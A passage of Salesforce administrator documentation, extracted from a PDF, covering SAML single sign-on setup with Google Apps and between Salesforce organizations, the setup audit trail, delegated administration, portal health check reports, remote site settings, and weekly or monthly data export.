and outbound SAML responses when Salesforce is acting as an identity provider. To view the identity provider error log, click
Your Name > Setup > Manage Users > Identity Provider Error Log.

Examples Using Identity Providers and Service Providers


Available in: Developer, Enterprise, Unlimited, and Database.com Editions
Tabs are not available in Database.com

User Permissions Needed


Define and modify identity providers and service providers:

Customize Application

This section contains two examples of setting up Salesforce as an identity provider, then setting up two different service
providers:

Google Apps shows service-provider initiated login.


Salesforceshows identity-provider initiated login.

730

Security and Sharing

Examples Using Identity Providers and Service Providers

Setting up Single Sign-on to Google Apps Example


This example shows how to set up single sign-on from Salesforce to Google Apps. In this example, Google is the service
provider, and Google Apps is the app provided by the service provider.
For this example to work:

You must already have a Premier Edition Google Apps account


Your Salesforce organization must be set up for single sign-on using SAML 2.0

The general steps are as follows, with more specifics on each step below.
1.
2.
3.
4.
5.

Generate a domain name and enable an identity provider in your Salesforce organization.
Define the service provider in Salesforce.
Enable the Salesforce user and profile.
Setup Google Apps.
Test your implementation.

Generating a Domain Name and Enabling an Identity Provider


To prepare your Salesforce organization for this example, generate a domain name and enable Salesforce as an identity provider:
1. Log into Salesforce.
2. Generate a domain name for your organization:
a. Click Your Name > Setup > Company Profile > My Domain, enter a new subdomain name, and click Check
Availability.
b. If the name is available, click the Terms and Conditions check box, then click Register Domain.
Important: You must deploy your domain name before you can enable Salesforce as an identity provider.

3. Enable Salesforce as an identity provider:


a. Click Your Name > Setup > Security Controls > Identity Provider.
b. Click Enable.
c. Click Download Certificate. Remember where you save the certificate, as you will upload it later.
Defining a Service Provider
To define the service provider:
1. Log into Salesforce.
2. Click Your Name > Setup > Security Controls > Identity Provider.
3. Click New in the Service Provider section and enter the following information:
Field

Value

Name

Google Apps

ACS URL

The URL for your Google App account, such as


https://www.google.com/a/respond.info

Entity ID

google.com

Subject Type

Federation ID

731

Security and Sharing

Examples Using Identity Providers and Service Providers

4. Click Save.
5. Select the profiles allowed to access this service provider. You must select the current user's profile for this example to
work.
6. Click Save.
7. Copy down the value in the SP-Initiated Redirect Endpoint field. You will use this value later.
Mapping the Salesforce user to the Google Apps user
To map the Salesforce user to the Google Apps user:
1. Click Your Name > Setup > My Personal Information > Personal Information, then click Edit.
2. For Federation ID, enter the username you use to sign into Google Apps, for example, JSmith@TGroup.com.
3. Click Save.
Setting up Google Apps
To set up your Google Apps account:
1.
2.
3.
4.
5.
6.

7.
8.

Log into your Google Apps account.


Click the Advanced tools tab, then the Set up single sign-on (SSO) link.
Check the Enable Single Sign-on checkbox.
For Sign-in page URL, enter the URL copied from the SP-Initiated Redirect Endpoint field, from defining
a service provider.
For Sign-out page URL, specify the URL where you want your users to go after they log out of Google Apps, such as,
http://www.mydomain.salesforce.com.
For Change password URL, use the following URL:
https://mydomain.salesforce.com/_ui/system/security/ChangePassword, where mydomain is the name
you specified for your custom domain when you generated your domain.
For Verification certificate, upload the certificate you downloaded from enabling an identity provider.
Click Save Changes.

Testing your Implementation


To verify that your Salesforce organization can use single sign-on to Google Apps:
1. Log out of Google Apps and Salesforce.
2. Try to access a Google app page, such as http://docs.google.com/a/respond.info/ or
http://mail.google.com/a/respond.info/.
3. You are redirected to a Salesforce sign-on page. After you login, you are at the specified Google app page.
An alternate test is to add the Google App to a web tab in your Salesforce organization.
1.
2.
3.
4.
5.
6.
7.
8.

Log into Salesforce.


Click Your Name > Setup > Create > Tabs, then click New in the Web Tabs section.
Choose a tab layout and click Next.
Enter a label to display on the tab.
Use the default name. This is the same as the label.
Click the Tab Style lookup icon to display the Tab Style Selector. Select an icon. Keep all other defaults.
Click Next.
In the Button or Link URL text box, enter a Google App page, such as docs.google.com/a/respond.info/ or
mail.google.com/a/respond.info/, then click Next.

732

Security and Sharing

Examples Using Identity Providers and Service Providers

Note: This has to be an absolute URL, that is, it must contain either http:// or https://.

9. Click Next and Save.


10. Click on the new tab at the top of your page. You are automatically logged into the specified Google app page.
Setting up Single Sign-on From Salesforce to Salesforce
This example shows how to set up a Salesforce app to initiate single sign-on from one Salesforce organization to another.
The initiating Salesforce organization, that is, the organization that you want to initially log into, acts as the identity provider.
The Salesforce organization that you want to access using an app acts as the service provider.For example, suppose you have
two Salesforce organizations: a sales organization and an ideas organization. You can set up single sign-on between the two
organizations so your users only have to log into and remember the password for one.
For this example to work, your initiating Salesforce organization must be set up for single sign-on using SAML 2.0. The
general steps are as follows, with more specifics on each step below.
1.
2.
3.
4.

Generate a domain name and enable an identity provider in the Salesforce organization that is acting as an identity provider.
Set up the Salesforce organization that is acting as a service provider.
Define the service provider app in the Salesforce organization that is acting as an identity provider.
Test your implementation.

Generating a Domain Name and Enabling an Identity Provider


All of the work in the following steps is done on the Salesforce organization that is acting as the identity provider.
To prepare your Salesforce organization for this example, generate a domain name and enable Salesforce as an identity provider:
1. Log into Salesforce.
2. Generate a domain name for your organization:
a. Click Your Name > Setup > Company Profile > My Domain, enter a new subdomain name, and click Check
Availability.
b. If the name is available, click the Terms and Conditions check box, then click Register Domain.
Important: You must deploy your domain name before you can enable Salesforce as an identity provider.

3. Enable Salesforce as an identity provider:


a. Click Your Name > Setup > Security Controls > Identity Provider.
b. Click Enable.
c. Click Download Certificate. Remember where you save the certificate, as you will upload it later.
Setting up a Salesforce organization as Service Provider
To configure a second Salesforce organization as the service provider:
1. Log into the Salesforce organization that acts as the service provider.
2. Enable and configure SAML:
a. Click Your Name > Setup > Security Controls > Single Sign-On Settings, then click Edit.
b. Select the SAML Enabled check box.

733

Security and Sharing

Examples Using Identity Providers and Service Providers

c. Use the following settings:


Field

Value

SAML Version

2.0

Issuer
Identity Provider Certificate

Browse for the certificate you downloaded in enabling an


identity provider.

SAML User ID Type

Select Assertion contains the Federation ID


from the User object

SAML User ID Location

Select User ID is in the NameIdentifier


element of the Subject statement

d. Click Save.
e. Copy and save the values from the fields Salesforce Login URL and Entity ID. You need these values later,
when defining the Salesforce service provider.
3. Link your user in the service provider organization to the user in the identity provider organization:
a. Click Your Name > Setup > My Personal Information > Personal Information, and click Edit.
b. For Federation ID, enter the username used to sign into theSalesforce identity provider organization, for example,
IDP_org@TGroup.com.
c. Click Save.
Defining the Service Provider in the Identity Provider Organization
To define the service provider:
1. Log into the Salesforce organization that acts as the identity provider.
2. Click Your Name > Setup > Security Controls > Identity Provider, then in the Service Provider section, click New.
3. Specify the following information:
Field

Value

Name

Salesforce Service Provider

ACS URL

Use the Salesforce Login URL from setting up the service


provider

Entity Id

Use the Entity ID from setting up the service provider

Subject Type

Select Username

4. Click Save.
5. Select the profiles allowed to access this service provider. You must select the current user's profile for this example to
work.
6. Click Save.
7. Copy down the value of the IdP-Initiated Login URL field. You will use this value later, in testing.

734

Security and Sharing

Monitoring Setup Changes

Testing your Implementation


To verify that your Salesforce organizations can use single sign-on to connect, create a web tab:
1.
2.
3.
4.
5.
6.
7.
8.

Log into the Salesforce organization that is acting like a service provider.
Click Your Name > Setup > Create > Tabs, then click New in the Web Tabs section.
Choose a tab layout and click Next.
Enter a label to display on the tab.
Use the default name. This is the same as the label.
Click the Tab Style lookup icon to display the Tab Style Selector. Select an icon.
Click Next.
In the Button or Link URL text box, enter the value of the IdP-Initiated Login URL field from defining the service
provider, then click Next.
Note: This has to be an absolute URL, that is, it must contain either http:// or https://.

9. Click Next, then Save.


10. Click on the new tab at the top of your page. If you have logged out of the Salesforce organization that acts as the identity
provider, you are prompted to log in. Once you are logged in, you should see the Salesforce organization that acts as the
identity provider in the tab.

Monitoring Setup Changes


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
In Database.com, the setup audit trail history only audits setup changes for features that are included in Database.com.

User Permissions Needed


To view audit trail history:

View Setup and Configuration

The setup audit trail history helps you track the recent setup changes that you and other administrators have made to your
organization. This can be especially useful in organizations with multiple administrators.
To view the setup audit trail history, click Your Name > Setup > Security Controls > View Setup Audit Trail. To download
your organizations full setup history for the past 180 days, click the Download link.
The setup audit trail history shows you the 20 most recent setup changes made to your organization. It lists the date of the
change, who made it, and what the change was. Additionally, if a delegate (such as an administrator or customer support
representative) makes a setup change on behalf of an end-user, the Delegate User column shows the delegate's username. For
example, if a user grants login access to an administrator and the administrator makes a setup change, the administrator's
username is listed.
The setup audit trail history tracks the following types of changes:
Setup

Changes Tracked

Administration

Company information, default settings such as language or locale, and company message changes

735

Security and Sharing

Setup

Monitoring Setup Changes

Changes Tracked

Customization

Multiple currency setup changes


User, portal user, role, permission set, and profile changes
Email address changes for any user
Deleting email attachments sent as links
Creating, editing, or deleting email footers
Record type changes, including creating or renaming record types and assigning record types to
profiles
Changes to divisions, including creating and editing divisions, transferring divisions, and changing
users default division
Adding or deleting certificates
Domain name changes
Enabling or disabling Salesforce as an identity provider
Changes to user interface settings, such as collapsible sections, Quick Create, hover details, or the
related list hover links
Page layout and search layout changes
Changes made using inline editing
Custom field and field-level security changes, including changes to formulas, picklist values, and
custom field attributes like the format of auto-number fields or masking of encrypted fields
Changes to lead settings, lead assignment rules, and lead queues
Changes to activity settings
Changes to support settings, business hours, case assignment and escalation rules, and case queues
Any changes made by salesforce.com Customer Support at your request
Changes to tab names, including tabs that you reset to the original tab name
Changes to custom apps (including Service Cloud console apps), custom objects, and custom tabs
Changes to contract settings
Changes to forecast settings
Enabling or disabling Email-to-Case or On-Demand Email-to-Case
Changes to custom buttons, links, and s-controls, including standard button overrides
Enabling or disabling drag-and-drop scheduling
Enabling, disabling, or customizing similar opportunities
Enabling or disabling quotes
Changes to data category groups, data categories, and category-group assignments to objects
Changes to article types
Changes to category groups and categories
Changes to Salesforce Knowledge settings
Changes to ideas settings
Changes to answers settings
Changes to field tracking in feeds
Changes to campaign influence settings
Activating or deactivating critical updates
Enabling or disabling Chatter email notifications

736

Security and Sharing

Setup

Security and
Sharing

Monitoring Setup Changes

Changes Tracked

Enabling or disabling Chatter new user creation settings for invitations and email domains

Public groups, sharing rule changes, and organization-wide sharing, including the Grant Access
Using Hierarchies option
Password policy changes
Session settings changes, such as changing the session timeout setting
Changes to delegated administration groups and the items delegated administrators can manage.
Setup changes made by delegated administrators are tracked as well.
How many records a user emptied from their Recycle Bin and from the organization's Recycle Bin
Changes to SAML (Security Assertion Markup Language) configuration settings
Changes to Salesforce certificates
Enabling or disabling identity providers
Changes to service providers

Data Management

Mass delete use, including when a mass delete exceeds the user's Recycle Bin limit of 5000 deleted
records. The oldest, excess records will be permanently removed from the Recycle Bin within two
hours of the mass delete transaction time.
Data export requests
Use of the campaign member import wizard
Mass transfer use
Changes to analytic snapshots, including defining, deleting, or changing the source report or target
object on an analytic snapshot
Import wizard use

Development

Changes to Apex classes and triggers


Changes to Visualforce pages, custom components, or static resources
Changes to custom settings
Changes to remote access definitions
Changes to Force.com Sites settings

Various Setup

Creation of an API usage metering notification


Changes to territories
Changes to Workflow & Approvals settings
Changes to approval processes
Creation and deletion of workflow actions
Changes to Visual Workflow files
Packages from Force.com AppExchange that you installed or uninstalled

Using the
application

Changes to account team and opportunity team selling settings


Activation of Google Apps services
Changes to mobile configuration settings, including data sets, mobile views, and excluded fields
A user with the Manage Partners permission logging into the partner portal as a partner user

737

Security and Sharing

Setup

Delegating Administrative Duties

Changes Tracked

A user with the Edit Self-Service Users permission logging into the Salesforce Customer Portal
as a Customer Portal user
Enabling or disabling a partner portal account
Disabling a Salesforce Customer Portal account
Enabling or disabling a Salesforce Customer Portal and creating multiple Customer Portals
Creating and changing entitlement processes and entitlement templates
Enabling or disabling self-registration for a Salesforce Customer Portal
Enabling or disabling Customer Portal or partner portal users

Delegating Administrative Duties


Available in: Enterprise, Unlimited, and Developer, and Database.com Editions

User Permissions Needed


To delegate administration:

Customize Application

To be a delegated administrator:

View Setup and Configuration

Use delegated administration to assign limited administrative privileges to selected non-administrator users in your organization.
Delegated administrators can perform the following tasks:

Creating and editing users and resetting passwords for users in specified roles and all subordinate roles, including setting
quotas, creating default sales teams, and creating personal groups for those users
Unlocking non-portal users
Assigning users to specified profiles
Logging in as a user who has granted login access to their administrator
Managing custom objects created by an administrator

For example, you may want to allow the manager of the Customer Support team to create and edit users in the Support
Manager role and all subordinate roles. This allows the administrator to focus on tasks other than managing users for every
department that uses Salesforce.
To create delegated groups, click Your Name > Setup > Security Controls > Delegated Administration, then click New.
To manage your delegated groups:

Click Edit next to a group to modify it.


Select a group and click Delete to remove it.
Select a group and click Remove next to the user in the Delegated Administrators related list to remove a user from that
delegated group.

738

Security and Sharing

Delegating Administrative Duties

Note: To delegate administration of particular objects, use object permissions, such as View All and Modify All.

See Also:
Defining Delegated Administrators
Delegating User Administration
Delegating Custom Object Administration

Defining Delegated Administrators


Available in: Enterprise, Unlimited, and Developer, and Database.com Editions

User Permissions Needed


To delegate administration:

Customize Application

To be a delegated administrator:

View Setup and Configuration

A delegated administration group is a group of users who have the same administrative privileges. These groups are not related
to public groups used for sharing. To define a delegated administration group:
1.
2.
3.
4.

Click Your Name > Setup > Security Controls > Delegated Administration.
Click New.
Enter a group name.
To allow the users in this group to log in as users in the role hierarchy that they administer, select Enable Group for
Login Access. Depending on your organization settings, individual users may need to grant login access to allow their
administrators to log in as them. See Controlling Login Access on page 554 and Granting Login Access on page 31.
5. Click Save.
6. To specify the users in this delegated group, in the Delegated Administrators related list, click Add.
7. Click
to find and add users to the group. The users must have the View Setup and Configuration permission.
8. Click Save.
To specify what tasks these users can perform, see Delegating User Administration on page 740 and Delegating Custom Object
Administration on page 741.

See Also:
Delegating Administrative Duties

739

Security and Sharing

Delegating Administrative Duties

Delegating User Administration


Available in: Enterprise, Unlimited, and Developer, and Database.com Editions

User Permissions Needed


To delegate administration:

Customize Application

To be a delegated administrator:

View Setup and Configuration

Enable delegated administrators to manage users in specified roles and all subordinate roles, assign specified profiles to those
users, and log in as users who have granted login access to administrators.
1.
2.
3.
4.

Click Your Name > Setup > Security Controls > Delegated Administration.
Select the name of an existing delegated administration group.
Click Add in the User Administration related list.
Use the magnifying glass lookup icon to find and add roles. Delegated administrators can create and edit users in these
roles and all subordinated roles.
5. Click Save.
6. Click Add in the Assignable Profiles related list.
7. Use the magnifying glass lookup icon to find and add profiles. Delegated administrators can assign these profiles to the
users they create and edit. Note that profiles with the Modify All Data permission cannot be assigned by delegated
administrators.
Note: If a user is a member of more than one delegated administration group, be aware that he or she can assign
any of the assignable profiles to any of the users in roles he or she can manage.
8. Click Save.
9. See Delegating Custom Object Administration on page 741 to specify what custom objects the delegated administrators
can manage.
To remove roles or profiles from the list of items the delegated administrators can use, click Remove next to the role or profile.

See Also:
Defining Delegated Administrators
Delegating Administrative Duties

740

Security and Sharing

Delegating Administrative Duties

Delegating Custom Object Administration


Available in: Enterprise, Unlimited, and Developer, and Database.com Editions

User Permissions Needed


To delegate administration:

Customize Application

To be a delegated administrator:

View Setup and Configuration

Enable delegated administrators to manage custom objects that have been created by an administrator.
1.
2.
3.
4.

Click Your Name > Setup > Security Controls > Delegated Administration.
Select the name of an existing delegated administration group.
From the detail page of the delegated administration group, click Add in the Custom Object Administration related list.
Use the magnifying glass lookup icon to find and add custom objects. Delegated administrators can customize nearly every
aspect of a custom object, including creating a custom tab for it.
5. Click Save. Click Save & More to add additional custom objects.
To remove a custom object from the list of items the delegated administrators can manage, click Remove next to the custom
object.

Notes on Delegated Administration of Custom Objects

Delegated administrators can customize nearly every aspect of the custom object, including creating a custom tab for it.
However, they cannot create or modify relationships on the object or set organization-wide sharing defaults.
Delegated administrators need to have access to custom objects if they need to access the merge fields on those objects
from formulas.

See Also:
Defining Delegated Administrators
Delegating User Administration
Delegating Administrative Duties

Concurrent Usage Limits


Available in: All Editions

To ensure that resources are available for all Salesforce users, limits are placed on the number of long-running Web requests
that one organization can send at the same time. Salesforce monitors the number of concurrent requests issued by all users
logged in to your organization, and compares that number against the maximum limit. In this way, the number of concurrent

741

Security and Sharing

Enabling the Account Owner Report

requests is kept below the maximum limit. The limit ensures that resources are available uniformly to all organizations and
prevents deliberate or accidental over-consumption by any one organization.
If too many requests are issued by users in your organization, you may have to wait until one of them has finished before you
can perform your task. For example, assume that MyCorporation has 100,000 users. At 9:00 AM, each user requests a report
that contains 200,000 records. Salesforce.com starts to run the report for all users until the maximum number of concurrent
requests has been met. At that point, Salesforce.com refuses to take any additional requests until some of the reports have
completed.
Similar limits are placed on requests issued from the API. For more information, see Force.com API Usage Limits on page
2161.

Enabling the Account Owner Report


Available in: Professional, Enterprise, Unlimited, and Developer Editions.

User Permissions Needed


To show or hide account owner report:

Customize Application

Organizations that have their organization-wide sharing access level set to Private for accounts may want to restrict users from
running the Account Owner report, which lists all accounts and who owns them.
To show or hide this report:
1. Click Your Name > Setup > Security Controls.
2. Click Account Owner Report. This option is available only in organizations that have a private account sharing model.
3. Select the checkbox to allow all users to run this report. If you leave the box unchecked, only administrators and users with
the View All Data permission can run this report.
4. Click Save.

Prohibiting HTML Attachments and Documents


Available in: All Editions except for Database.com

User Permissions Needed


To prohibit uploading of HTML attachments and documents: Customize Application

For security reasons, your organization may want to prohibit users from uploading HTML files. The Disallow HTML
documents and attachments security setting, if enabled, blocks users from uploading any file to the Documents tab or
as an attachment to a record if it has one of the following file extensions: htm, html, htt, htx, mhtm, mhtml, shtm, shtml,
acgi.
To prohibit uploading of HTML attachments and documents:

742

Security and Sharing

Configuring Remote Settings

1. Click Your Name > Setup > Security Controls > HTML Documents and Attachments Settings.
2. Select the Disallow HTML documents and attachments checkbox.
3. Click Save.
Note: HTML attachments are not permitted on solutions, regardless of whether this security setting is enabled. In
addition, this setting does not affect attachments on email templates; HTML attachments on email templates are
always permitted.
After this setting is enabled, previously-uploaded HTML documents and attachments are unaffected. However, when
users attempt to view an HTML attachment or document, their browser first prompts them to open the file in the
browser, save it to their computer, or cancel the action.
Caution: Do not enable this setting if your organization uses the partner portal to give your partner users access to
Salesforce.

See Also:
Adding Attachments
Uploading and Replacing Documents

Configuring Remote Settings


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Visualforce and S-controls are not available in Database.com

User Permissions Needed


To configure remote settings:

Modify All Data

Before any Visualforce page, Apex callout, or JavaScript code using XmlHttpRequest in an s-control or custom button can
call an external site, that site must be registered in the Remote Site Settings page, or the call will fail.
To access the page, click Your Name > Setup > Security Controls > Remote Site Settings. This page displays a list of any
remote sites already registered and provides additional information about each site, including remote site name and URL.
For security reasons, Salesforce restricts the outbound ports you may specify to one of the following:

80: This port only accepts HTTP connections.


443: This port only accepts HTTPS connections.
102466535 (inclusive): These ports accept HTTP or HTTPS connections.

To register a new site:


1. Click New Remote Site.
2. Enter a descriptive term for the Remote Site Name.
3. Enter the URL for the remote site.

743

Security and Sharing

Portal Health Check Overview

4. To allow access to the remote site regardless of whether the user's connection is over HTTP or HTTPS, select the Disable
Protocol Security checkbox. When selected, Salesforce can pass data from an HTTPS session to an HTTP session,
and vice versa. Only select this checkbox if you understand the security implications.
5. Optionally, enter a description of the site.
6. Click Save to finish, or click Save & New to save your work and begin registering an additional site.

See Also:
Developer's Guide: Force.com Apex Code Developer's Guide
AJAX Toolkit Developer's Guide

Portal Health Check Overview


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view portal health check reports:

Customize Application
AND
Manage Users
AND
Modify All Data

Customer Portals and partner portals let you collaborate with and provide services to your customers and partners. With
portals, you share and capture information from third-party users. To ensure that you don't expose more information than
intended, it's important to follow best practices for portal implementation.
Your customers and partners can access your information via portals in many ways. With portal health check reports, you can
easily monitor this access. Portal health check reports show your security-related portal settings and provide information you
can use to improve portal security.
Note: Portal health check reports show sensitive user permissions, object permissions, and field permissions granted
through profiles, as well as organization-wide sharing settings and sharing rules. Your portal users can also access
records via the following means, which aren't included in portal health check reports.

Permission sets
Manual sharing
Apex managed sharing
Territories
List views
Groups
Queues
Teams

744

Security and Sharing

Portal Health Check Overview

Content libraries
Folders

To view portal health check reports, click Your Name > Setup > Security Controls > Portal Health Check, then click the
report you want.
The following reports are included:

Administrative and User Permissions


Object Access and Field-Level Security
Sharing Organization-Wide Defaults
Sharing Rules
Note: The portal health check reports don't include information for criteria-based sharing, high-volume portal users,
or Self-Service portal users.

Viewing the Administrative and User Permissions Report


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view portal health check reports:

Customize Application
AND
Manage Users
AND
Modify All Data

User permissions are powerful, as they expand users' access to data. It's important to use caution when setting permissions for
a profile.
The Administrative and User Permissions reportone of the portal health check reportsshows portal profiles and their
critical permission settings.
Note: This report doesn't show permissions granted through permission sets.

For each profile, the report lists the number of portal users assigned to it, and the following permission settings:

Delegated Portal User Administrator


Send Email
Convert Leads
Edit Events

745

Security and Sharing

Portal Health Check Overview

Edit Opportunity Product Sales Price


Edit Tasks
Transfer Cases
Portal Super User
API Enabled
Password Never Expires
Create Workspaces
View Content in Portals
Export Reports
Run Reports
Note: Depending on your organization's settings, some permissions may not appear in the report.

From the report, you can drill down to portal profile detail pages, where you can edit or clone a profile, or view the users
assigned to a profile.
To view this report:
1. Click Your Name > Setup > Security Controls > Portal Health Check.
2. Click Administrative and User Permissions.
From the report page, you can do any of the following:

To view a profile detail page, click the profile name.


To show a filtered list of items, select a predefined view from the drop-down list.
To return to the list of reports, click Back to list: Portal Health Check Reports.

Viewing the Object Access and Field-Level Security Report


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view portal health check reports:

Customize Application
AND
Manage Users
AND
Modify All Data

Object permissions specify the access that users have to standard and custom objects. The following object permissions respect
the sharing model:

746

Security and Sharing

Portal Health Check Overview

ReadUsers can only view records of this type.


CreateUsers can read and create records.
EditUsers can read and update records.
DeleteUsers can read, edit, and delete records.

Field-level security specifies the access that users have to specific fields in object records.
The Object Access and Field-Level Security reportone of the portal health check reportsshows the number of portal
profiles that can access each standard and custom object in your organization. You can view each object's field-level security
settings and permissions. The object-specific reports list portal profiles, showing the number of users assigned to each profile,
the number of visible fields in an object, and the object permissions. You can drill down to portal profile detail pages, where
you can edit or clone a profile, or view the users assigned to a profile. You can also drill down to field-level security detail
pages, where you can edit the settings.
Note: This report doesn't show permissions granted through permission sets.

To view this report:


1. Click Your Name > Setup > Security Controls > Portal Health Check.
2. Click Object Access and Field-Level Security.
3. From the report page, click an object name to view its field-level security settings and permissions by profile.
On the object detail page, you can do any of the following:

To view a profile detail page, click the profile name.


To view a profile's field-level security detail page, click visible fields.
To return to the high-level object access and field-level security report, click Object Access and Field-Level Security.

From both report pages, you can do any of the following:

To show a filtered list of items, select a predefined view from the drop-down list.
To return to the list of reports, click Back to list: Portal Health Check Reports.

747

Security and Sharing

Portal Health Check Overview

Viewing the Sharing Organization-Wide Defaults Report


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view portal health check reports:

Customize Application
AND
Manage Users
AND
Modify All Data

To set default sharing access:

Manage Users
AND
Customize Application

Organization-wide default settings specify each object's default access level for users in your organization. If an object's default
access level is Public, users with enabled object permissions (Read, Create, Edit, or Delete) may be able to access records
that they don't own. For example, if the default access setting for the account object is Public Read/Write, then any user with
the Read permission on the account object can view any account record. When setting organization-wide defaults, you want
to make sure you don't let portal users see objects they shouldn't access.
The Sharing Organization-Wide Defaults reportone of the portal health check reportslists standard and custom objects
and the default access setting for each object. You can use this report to review and edit the organization-wide default settings
that may expose records to portal users.
To view this report:
1. Click Your Name > Setup > Security Controls > Portal Health Check.
2. Click Sharing Organization-Wide Defaults.
The report lists the default access setting for each object. If an object's default access is Public, Show Details (for calendar),
or Use (for price book), any portal users with enabled object permissions can access other users' records, and the Security
column indicates a weak organization-wide default setting. You can view the specific object permissions granted to portal
profiles in the Object Access and Field-Level Security report.
If the object's default access is Private, Hide Details (for calendar), or No Access (for price book), the Security column
indicates a strong organization-wide default setting.
Note: Even with a strong organization-wide default setting, portal users may have access to other users' records
through exceptions such as sharing rules.
If the Grant Access Using Hierarchies box is checked, any user above a record owner in a territory or role hierarchy can
access the owner's records for that object.
From the report page, you can do any of the following:

748

Security and Sharing

Portal Health Check Overview

To change the organization-wide sharing settings for any object, click Edit, then change the settings on the
Organization-Wide Sharing Defaults Edit page.
To show a filtered list of items, select a predefined view from the drop-down list.
To return to the list of reports, click Back to list: Portal Health Check Reports.

Viewing the Sharing Rules Report


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view portal health check reports:

Customize Application
AND
Manage Users
AND
Modify All Data

To create and edit sharing rules:

Manage Users

Administrators can use sharing rules to give users access to records they don't own. In a sharing rule, records owned by a set
of users (such as a group, role, or territory) are shared with another set of users. When creating sharing rules, you want to make
sure you don't let portal users see records they shouldn't access.
The Sharing Rules reportone of the portal health check reportslists all sharing rules that give portal users access to records
they don't own. It shows the number of portal users who may get access to records as a result of each sharing rule, and lets
you edit access levels for each rule. For some types of user sets (like groups, roles, and territories), you can drill down to detail
pages, where you can edit, delete, or manage the users in the set.
To view this report:
1. Click Your Name > Setup > Security Controls > Portal Health Check.
2. Click Sharing Rules.
The Number of Portal Users Affected column shows the number of portal users who may get access as a result of the
sharing rule. This number includes portal users specified in the rule and, if Grant Access Using Hierarchies is enabled
for the object, any portal users above them in the role or territory hierarchy. If any users in this set have enabled object
permissions (Read, Create, Edit, or Delete), they can access records exposed by the rule.
Note:

This report doesn't include criteria-based sharing rules.


This report doesn't check portal users' object permissions. You can view the specific object permissions granted
to portal profiles in the Object Access and Field-Level Security report.

From the report page, you can do any of the following:

749

Data Management

Exporting Backup Data

To change the access level in a sharing rule, click Edit, then change the settings on the sharing rule edit page.
To view the details of a user set in a sharing rule, click the link in the Owned By or Shared With column.
To show a filtered list of items, select a predefined view from the drop-down list.
To return to the list of reports, click Back to list: Portal Health Check Reports.
Note: Account and account territory sharing rules can grant access to contacts, opportunities, and cases associated
with the shared accounts. The Sharing Rules report shows access levels only for top-level objects, not associated objects.

DATA MANAGEMENT
Exporting Backup Data
Weekly export available in: Enterprise and Unlimited Editions
Monthly export available in: All editions, except for Database.com

User Permissions Needed


To export data:

Data Export

Your organization can generate backup files of your data on a weekly or monthly basis depending on your edition. You can
export all of your organization's data into a set of comma-separated values (CSV) files.
Note: Users with the Data Export permission can view all exported data and all custom objects and fields in the
Export Service page. This permission is granted by default only to the System Administrator profile because it enables
wide visibility.
You can generate backup files manually once every six days (for weekly export) or 28 days (for monthly export). You can also
schedule backup files to generate automatically at weekly or monthly intervals.
1. Click Your Name > Setup > Data Management > Data Export and Export Now or Schedule Export.

The Export Now option prepares your files for export immediately. This option is only available if enough time has
passed since your last export.
The Schedule Export option allows you to schedule the export process for weekly or monthly intervals.

2. Select the desired encoding for your export file.


3. Select Include images, documents, and attachments and Include Chatter files and Salesforce
CRM Content document versions to include these items in your export data.
4. Select Replace carriage returns with spaces to have spaces instead of carriage returns or line breaks in your
export files. This is useful if you plan to use your export files for importing or other integrations.
5. If you're scheduling your export, select the frequency (only available for organizations with monthly exports), start and end
dates, and time of day for your scheduled export.

750

Data Management

Exporting Backup Data

6. Under Exported Data, select the types of data to include in your export. We recommend that you select Include all data
if you are not familiar with the terminology used for some of the types of data. Note the following:

Formula and roll-up summary fields are always excluded from exports.
If your organization uses divisions, data from all divisions is included in the export.
If your organization uses person accounts and you are exporting accounts, all account fields are included in the account
data. For more information on account fields, see Account Fields on page 87.
If your organization uses person accounts and you are exporting contacts, person account records are included in the
contact data. However, the contact data only includes the fields shared by contacts and person accounts.
For information on field limitations, see the Salesforce Field Reference Guide.

7. Click Start Export or Save.


Salesforce creates a zip archive of CSV files and emails you when it's ready. Exports typically finish within 48 hours of
submission, and large exports are broken up into multiple files. Follow the link in the email or click Data Export to
download the zip file. Zip files are deleted 48 hours after the email is sent. The 48-hour time limit doesn't include weekends,
which means if your download file is ready on Thursday at 4 p.m., that file isn't deleted until Monday at 4 p.m.
Note: For security purposes, Salesforce may require users to pass a user verification test to export data from their
organization. This simple text-entry test prevents malicious programs from accessing your organization's data. To
pass the test, users must correctly type the two words displayed on the overlay into the overlay's text box field. Note
that the words entered into the text box field must be separated by a space.
Salesforce uses CAPTCHA technology provided by reCaptcha to verify that a person, as opposed to an automated
program, has correctly entered the text into the overlay. CAPTCHA is an acronym that stands for Completely
Automated Public Turing Test To Tell Computers and Humans Apart.
Tip: Any automated processes that process the export files should rely on the column headings in the CSV files, rather
than the position of the columns.
Depending on the encoding selected, you may have to make adjustments to the export file before viewing it. Use the following
instructions that apply to the character encoding you selected.

Viewing Unicode (UTF-8) Encoded Export Files


If you have Microsoft Excel 2003:
1.
2.
3.
4.
5.
6.
7.

Open Microsoft Excel.


Click File > New.
Click Data > Import External Data > Import Data.
Select the CSV file to open and Microsoft Excel will launch the text import wizard.
Select Delimited and choose the Unicode (UTF-8) option for File origin.
Click Next.
Select Comma in the Delimiters section and click Finish. You may be prompted to select a range of cells.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

8. Repeat these steps for each file.


If you have an earlier version of Microsoft Excel (pre 2003):

751

Data Management

1.
2.
3.
4.
5.
6.
7.
8.

Monitoring Resources

Open the file in Microsoft Excel.


Select File > Save As.
Save the file as type Web Page.
Select Tools > Options > General tab and click the Web Options button.
Select the Encoding tab, and then choose the Unicode (UTF-8) option.
Click OK to close the dialog boxes.
Select File > Save to save the file with selected encoding.
Repeat these steps for each file.

Viewing Unicode (UTF-16, Big Endian) Encoded Export Files


Open the export files in a text editor that supports this character set. Microsoft Excel does not support this character set.

Viewing Unicode (Little Endian) Encoded Export Files


1.
2.
3.
4.
5.

Open the file in Microsoft Excel.


Click on column A to highlight the entire first column.
Open the Data menu and choose Text to Columns.
Select the Delimited radio button and click Next.
Select Comma in the Delimiters section and click Finish.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

6. Repeat these steps for each file.

Monitoring Resources
Available in: All Editions

User Permissions Needed


To view storage usage:

Manage Users

Storage is divided into two categories: data storage and file storage. File storage includes files in attachments, the Documents
